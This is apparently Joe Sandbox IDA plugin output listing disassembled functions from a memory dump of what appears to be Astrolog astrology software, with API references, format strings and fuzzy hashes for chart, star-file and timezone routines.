Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText__flsbuf__output_l
String ID: %s.$Energy representing$They will affect each other prominently.$an independent, backward, introverted$and it %s.$energies of %s.$manner.$the standard, direct, open$will be %s,$will tend to manifest in
API String ID: 1481945667-3879266747
Opcode ID: a2af23b56f6993c080db23f1c982edc169b5eddacec2c50dc4e0ad643b314b28
Instruction ID: 19991b15502efdded6b9aac8203fedb26fb272f9cc3b912ebac24f641926b7f8
Opcode Fuzzy Hash: a2af23b56f6993c080db23f1c982edc169b5eddacec2c50dc4e0ad643b314b28
Instruction Fuzzy Hash: BC41A470A041188BCF309B18CB9AAED77795B51218F504D64819567E50DBBCEEC9D7C1

Function 6C87D8A8 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 105COMMON

Download Yara Rule

APIs

CreateFontA.GDI32(00000002,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000002,00000000,00000000,00000002,00000052,Wingdings), ref: 6C87D8F9
SelectObject.GDI32(00000000,?), ref: 6C87D919
_sprintf.LIBCMT ref: 6C87D92C
GetTextExtentPointA.GDI32(00000001,00000001,?), ref: 6C87D944
GetTextColor.GDI32 ref: 6C87D950
SetTextColor.GDI32 ref: 6C87D971
SetBkMode.GDI32(00000001), ref: 6C87D981
TextOutA.GDI32(?,00000002,00000001,00000001), ref: 6C87D9A8
SetBkMode.GDI32(?), ref: 6C87D9B7
SetTextColor.GDI32(0000003C), ref: 6C87D9C2
SelectObject.GDI32(?), ref: 6C87D9CD
DeleteObject.GDI32(00000002), ref: 6C87D9D2

Strings

Wingdings, xrefs: 6C87D8CF, 6C87D8DD
Astro, xrefs: 6C87D8C4
EnigmaAstrology, xrefs: 6C87D8B7

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Text$ColorObject$ModeSelect$CreateDeleteExtentFontPoint_sprintf
String ID: Astro$EnigmaAstrology$Wingdings
API String ID: 4064789560-894491923
Opcode ID: 0455767e025b4293be5731a996634325745257959967de9217d6204a7b922506
Instruction ID: 56d9bb7c35bb92d048da9a043b4d650025d8f91b9b2d5e94e0c6aec6a8f53e1f
Opcode Fuzzy Hash: 0455767e025b4293be5731a996634325745257959967de9217d6204a7b922506
Instruction Fuzzy Hash: 88313E71601118BFDF309FA6DE45E9E7FB9EB0B348B000436FA18D2550D6319910CBE0

Function 6C8758F0 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 440COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C875940

Part of subcall function 6C80AAD9: _memset.LIBCMT ref: 6C80AAFD

_sprintf.LIBCMT ref: 6C875CCB
_sprintf.LIBCMT ref: 6C875D55
_sprintf.LIBCMT ref: 6C875DAC

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

_sprintf.LIBCMT ref: 6C875EE2

Strings

%.3s %02d%s, xrefs: 6C875EBE
%02d, xrefs: 6C875CC5
%2d%c%02d'%s, xrefs: 6C875DA6
Y, xrefs: 6C875A7C
1v 2->, xrefs: 6C875ED9
%c%d%c%02d'%s, xrefs: 6C875D4F
%c%02d, xrefs: 6C875E99

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__output_l_memset
String ID: %.3s %02d%s$%02d$%2d%c%02d'%s$%c%02d$%c%d%c%02d'%s$1v 2->$Y
API String ID: 1292865652-3254788009
Opcode ID: d7b94919fd5d608fef9462b008ed1a343077d6e468e3b405df751370992a55a1
Instruction ID: 2597acb81a8754989aa79109e0f3f6e7a33cbb39aadc593a3e03651bdecca53e
Opcode Fuzzy Hash: d7b94919fd5d608fef9462b008ed1a343077d6e468e3b405df751370992a55a1
Instruction Fuzzy Hash: 7502BD72A05218CFDF34CB29DE45BADB7B5FB46304F1109AAE419A7640E734AE84CF61

Function 6C81D9B3 Relevance: 24.8, APIs: 4, Strings: 10, Instructions: 342COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C81DB05

Strings

%-10.10s, xrefs: 6C81DAF8
Dy/Mo/Year, xrefs: 6C81DAA9
Dy/Mo/Yr, xrefs: 6C81DABD
%2dh%02dm, xrefs: 6C81DCAA
%2d%s%02d, xrefs: 6C81DD0E
%6.2f, xrefs: 6C81DC6E
Mo/Dy/Yr, xrefs: 6C81DACA
Mo/Dy/Year, xrefs: 6C81DAB6
%-4.4s, xrefs: 6C81DAFF
Y, xrefs: 6C81DD9B

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: %-10.10s$ %-4.4s$%2d%s%02d$%2dh%02dm$%6.2f$Dy/Mo/Year$Dy/Mo/Yr$Mo/Dy/Year$Mo/Dy/Yr$Y
API String ID: 1467051239-2185849094
Opcode ID: 2215d5ef9ec8bb17b550902f2cf521d08749fa2017ab6adb5131fec692064bf4
Instruction ID: 5b5df1361fe4682490292ce0afee20e96fc37ea432c9d2735fc0a80f21fbba6c
Opcode Fuzzy Hash: 2215d5ef9ec8bb17b550902f2cf521d08749fa2017ab6adb5131fec692064bf4
Instruction Fuzzy Hash: 0CC1CF72A0C20ADFDB22DFA9CA4669D77F1FB45714F21093AD055ABF80CB35A885CB40

Function 6C804F2D Relevance: 24.8, APIs: 6, Strings: 8, Instructions: 338COMMON

Download Yara Rule

APIs

Part of subcall function 6C82294E: _free.LIBCMT ref: 6C822954

Part of subcall function 6C820A72: _memset.LIBCMT ref: 6C820A83

_memset.LIBCMT ref: 6C804FB6
_fgets.LIBCMT ref: 6C804FEA
_fgets.LIBCMT ref: 6C8050A6
_sprintf.LIBCMT ref: 6C8052FF
_sprintf.LIBCMT ref: 6C805332
_sprintf.LIBCMT ref: 6C80535A

Strings

Zone change error: Zone %d unknown: '%s', xrefs: 6C8052F3
Zone change error: Zone %d (%s) has %d entries, which exceed total entry limit of %d, xrefs: 6C80532C
Zone change error: Rule %d (%s) is never used by any zone change entry., xrefs: 6C805385
timezone changes, xrefs: 6C804F84
Zone change error: Bad month in entry %d of zone %d: '%s', xrefs: 6C805371
Zone change error: The %d zones have %d entries, which differs from total entry limit of %d, xrefs: 6C8052E4
Zone change error: Unknown rule in entry %d of zone %d: '%s', xrefs: 6C80534E
, xrefs: 6C8050AE

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_fgets_memset$_free
String ID: $Zone change error: Bad month in entry %d of zone %d: '%s'$Zone change error: Rule %d (%s) is never used by any zone change entry.$Zone change error: The %d zones have %d entries, which differs from total entry limit of %d$Zone change error: Unknown rule in entry %d of zone %d: '%s'$Zone change error: Zone %d (%s) has %d entries, which exceed total entry limit of %d$Zone change error: Zone %d unknown: '%s'$timezone changes
API String ID: 1495787504-2309610737
Opcode ID: faaf469b3cfde495b4a8955c9497b8ee8fad4acd1431fffee79d3f7601a4de10
Instruction ID: b5365181edd6290e811d3e6b0308bb659cef4c86d9e87d21ae1a592f43fcee0d
Opcode Fuzzy Hash: faaf469b3cfde495b4a8955c9497b8ee8fad4acd1431fffee79d3f7601a4de10
Instruction Fuzzy Hash: 91D1BF71B093599EEB318F18CE40799BBF4BF06308F2448A9C4D593A41DB7499C6CFA8

Function 6C851464 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 276COMMON

Download Yara Rule

APIs

Part of subcall function 6C84F2B5: _strncpy.LIBCMT ref: 6C84F2C3
Part of subcall function 6C84F2B5: _sprintf.LIBCMT ref: 6C84F32D

_strncmp.LIBCMT ref: 6C8515E9
_memmove.LIBCMT ref: 6C8516BC
_strncmp.LIBCMT ref: 6C851728
_fgets.LIBCMT ref: 6C85174B
_sprintf.LIBCMT ref: 6C85176F
_sprintf.LIBCMT ref: 6C8517AE

Part of subcall function 6C84F3FB: _sprintf.LIBCMT ref: 6C84F486

_sprintf.LIBCMT ref: 6C8517DA

Strings

NULL, xrefs: 6C85152B, 6C8517CE
star %s not found, xrefs: 6C8517A8
.;C:\Astrolog\, xrefs: 6C851534, 6C851539, 6C851550
#, xrefs: 6C85158E
star file %s damaged at line %d, xrefs: 6C8517CF
star not found, xrefs: 6C851769
,, xrefs: 6C8514CD

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_strncmp$_fgets_memmove_strncpy
String ID: #$,$.;C:\Astrolog\$NULL$star not found$star %s not found$star file %s damaged at line %d
API String ID: 1224058149-3342159325
Opcode ID: 8c132bd374a556d65d0c22707c87a1eb833aaac01980ab5a18c055b0f497aab1
Instruction ID: 0f8369610db04b943c0cf1effab6889c7ef951cb5eb1c80f699a4a714a17213d
Opcode Fuzzy Hash: 8c132bd374a556d65d0c22707c87a1eb833aaac01980ab5a18c055b0f497aab1
Instruction Fuzzy Hash: 65A126319086599EDB708F28DD48BDDBBF9AF45308F6449E5D448D7A45EF70CA98CB00

Function 6C80F8F6 Relevance: 24.7, APIs: 4, Strings: 10, Instructions: 184COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C80F95F

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

Strings

%s%s, xrefs: 6C80F9E0
%c%s%s%s, xrefs: 6C80FB08
Astrolog, xrefs: 6C80F951
chart , xrefs: 6C80F980
for , xrefs: 6C80F9BE
(Composite), xrefs: 6C80F9A3
%s %s, xrefs: 6C80F959
%.3s %s %s (%cT Zone %s), xrefs: 6C80FAAC
7.10, xrefs: 6C80F94C
(No time or space), xrefs: 6C80F993

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: CapsDevicePageViewport$ModeStartTextWindow_sprintf
String ID: chart $%.3s %s %s (%cT Zone %s)$%c%s%s%s$%s %s$%s%s$(Composite)$(No time or space)$7.10$Astrolog$for
API String ID: 274927918-1319307940
Opcode ID: 2c1587e172aded45befebc0675eb2e04135d243f844d1f7bc40c83cb4c013120
Instruction ID: f36f5e2959e97ed5fa3ceefcbf29330c32ba77c78477cf3beda72e4f538ae7b4
Opcode Fuzzy Hash: 2c1587e172aded45befebc0675eb2e04135d243f844d1f7bc40c83cb4c013120
Instruction Fuzzy Hash: C9510772B09109AFDB30EBA8CA479D973B4EB12318F608E3AD05157F80DB35A949C785

Function 6C8165F4 Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 356COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C81662D
_memset.LIBCMT ref: 6C816643
_sprintf.LIBCMT ref: 6C816924
_sprintf.LIBCMT ref: 6C816A1A
_sprintf.LIBCMT ref: 6C816A4C
_sprintf.LIBCMT ref: 6C816A81

Strings

Y, xrefs: 6C81686A
3', xrefs: 6C816891
Y, xrefs: 6C816888
- power:%6.2f, xrefs: 6C816A7B
%02d", xrefs: 6C816A46
- orb: %c%d%c%02d', xrefs: 6C816A14
%3d: , xrefs: 6C81691E

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$_memset
String ID: - power:%6.2f$%02d"$%3d: $- orb: %c%d%c%02d'$3'$Y$Y
API String ID: 2003622500-196099617
Opcode ID: d8edac8e5672afd950512b9e9d455f8594d4d3c4040eb6c4c0bf0f87b40e4ede
Instruction ID: 103d3a21e983bf4ed554ea3fad2f5d25dc04a1f488ad7d8686090df1cb53c584
Opcode Fuzzy Hash: d8edac8e5672afd950512b9e9d455f8594d4d3c4040eb6c4c0bf0f87b40e4ede
Instruction Fuzzy Hash: 8EE1ADB1A0C356CBC724DF18D68595ABBF4FB89308F110E2EF4D582A50DB35D959CB82

Function 6C80E861 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 130COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C80E897
_sprintf.LIBCMT ref: 6C80E91F
_sprintf.LIBCMT ref: 6C80E94F
_sprintf.LIBCMT ref: 6C80E98F
_sprintf.LIBCMT ref: 6C80EA0B

Strings

%9.3f%8.2f, xrefs: 6C80E989
Astrolog, xrefs: 6C80E889
%7.2f, xrefs: 6C80E949
%11.3f%8.2f%6.2f%11d, xrefs: 6C80EA05
Name: Distance Year Diameter Day Mass Density , xrefs: 6C80E8A7
%s planets:, xrefs: 6C80E891
%7.7s: %8.3f, xrefs: 6C80E919
Axis Satellites, xrefs: 6C80E8B1

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: Name: Distance Year Diameter Day Mass Density $%11.3f%8.2f%6.2f%11d$%7.2f$%7.7s: %8.3f$%9.3f%8.2f$%s planets:$Astrolog$Axis Satellites
API String ID: 1467051239-1605212310
Opcode ID: aaf97365040ba9a96bf85c918832ab223396e396f6ec87f87c39710cf1a233b4
Instruction ID: 71ba37b69e040a932b694153217a7dd1be2ca8d4fb653f5f5cfea2b6e6ccf786
Opcode Fuzzy Hash: aaf97365040ba9a96bf85c918832ab223396e396f6ec87f87c39710cf1a233b4
Instruction Fuzzy Hash: 7441E771E0054996CF30ABA8DA499DE7B78FB06318F520D78D09292B95EF31DA9CC3D1

Function 6C869525 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 394COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C869576

Part of subcall function 6C80A937: _memset.LIBCMT ref: 6C80A95C

_sprintf.LIBCMT ref: 6C86991D
_sprintf.LIBCMT ref: 6C8699C3
_sprintf.LIBCMT ref: 6C8699EA
_sprintf.LIBCMT ref: 6C869A49
_sprintf.LIBCMT ref: 6C869A88

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

Strings

%.3s %02d%s, xrefs: 6C869A82
%s%02d, xrefs: 6C869917
%2d%c%02d'%s, xrefs: 6C869A43
Y, xrefs: 6C869649
Y, xrefs: 6C869707
%c%d%c%02d'%s, xrefs: 6C8699BD

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__output_l_memset
String ID: %.3s %02d%s$%2d%c%02d'%s$%c%d%c%02d'%s$%s%02d$Y$Y
API String ID: 1292865652-133233458
Opcode ID: b267ca75c6691008ca5d9b718c9a1efea029cc40749d3a6f43d1323084b7255c
Instruction ID: cb03085986030023d0f98f271ac1d1d05aaa1f8b0b835155770485ed98339ce9
